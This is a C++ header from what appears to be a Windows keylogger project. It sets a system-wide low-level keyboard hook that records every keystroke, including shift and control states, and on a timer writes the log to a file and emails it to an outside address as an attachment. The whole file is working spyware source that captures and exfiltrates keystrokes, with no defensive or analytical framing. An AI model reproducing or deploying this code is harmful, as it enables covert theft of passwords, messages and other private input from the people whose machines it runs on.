KeybHook.h

#ifndef KEYBHOOK_H
#define KEYBHOOK_H

#include <iostream>
#include <fstream>
#include "windows.h"
#include "KeyConstants.h"
#include "Timer.h"
#include "SendMail.h"

std::string keylog = "";    // this will be the variable where all keystrokes are logged

void TimerSendMail()
{
    if(keylog.empty())
        return; //since user input is null
    std::string last_file = IO::WriteLog(keylog);

    if(last_file.empty())
    {
        Helper::WriteAppLog("File creation was not successful. Keylog '" + keylog + "'");
        return;
    }

    int x = Mail::SendMail("Log [" + last_file + "]", "Hi :)\nThe file has been attached to this email :)\nFor testing, enjoy:\n" + keylog, IO::GetOurPath(true) + last_file);
    if(x != 7)  // if the mail sending has failed
        Helper::WriteAppLog("Mail was not sent! Error code: " + Helper::ToString(x));
    else
        keylog = "";    // we "clear" it, there is no point in keeping that string anymore
}

Timer MailTimer(TimerSendMail, 500 * 60, Timer::Infinite);   // 500 for testing purposes (faster), originally 2000

HHOOK eHook = NULL; // this is a pointer to our hook

// the following function can also be used to "forbid" keys from the keyboard, so when they are pressed, they are ineffective
LRESULT OurKeyboardProc(int nCode, WPARAM wparam, LPARAM lparam)
{
    if(nCode < 0)
        CallNextHookEx(eHook, nCode, wparam, lparam);

    KBDLLHOOKSTRUCT *kbs = (KBDLLHOOKSTRUCT *)lparam;
    if(wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN) // we check if someone has pressed a key (and not released it yet)
    {
        keylog += Keys::KEYS[kbs->vkCode].Name;
        if(kbs->vkCode == VK_RETURN)    // if someone presses enter, it just goes to a new line, it doesn't log "enter"
            keylog += '\n';
    }
    else if(wparam == WM_KEYUP || wparam == WM_SYSKEYUP)    // if the keys' state is "up"
    {   // we have smth like [SHIFT][a][b][/SHIFT][c][d], so we know that [a],[b] are upper-case
        DWORD key = kbs->vkCode;
        if(key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL || key == VK_SHIFT || key == VK_RSHIFT
           || key == VK_LSHIFT || key == VK_MENU || key == VK_LMENU || key == VK_RMENU || key == VK_CAPITAL || key == VK_NUMLOCK
           || key == VK_LWIN || key == VK_RWIN)
        {
            std::string KeyName = Keys::KEYS[kbs->vkCode].Name;
            KeyName.insert(1, "/"); // inserting the backslash for the e.g. [SHIFT]...[/SHIFT]
            keylog = keylog + KeyName;
        }
    }

    return CallNextHookEx(eHook, nCode, wparam, lparam);    // we return it to the system
}

bool InstallHook()
{
    Helper::WriteAppLog("Hook started... Timer started");
    MailTimer.Start(true);

    eHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)OurKeyboardProc, GetModuleHandle(NULL), 0);    // LL = short for "low level"
    // last parameter : DWORD = 0 (the hook procedure is associated with all existing threads running in the same desktop as the calling thread)
    return eHook == NULL;
}
// unhook all keyboard events from our process, rendering the keylogging process non-functional (it doesn't kill the keylogger, it just uninstalls the hook)
bool UnistallHook()
{
    BOOL b = UnhookWindowsHookEx(eHook);
    eHook = NULL;
    return (bool)b;
}

bool IsHooked()
{
    return (bool)(eHook == NULL);
}

#endif // KEYBHOOK_H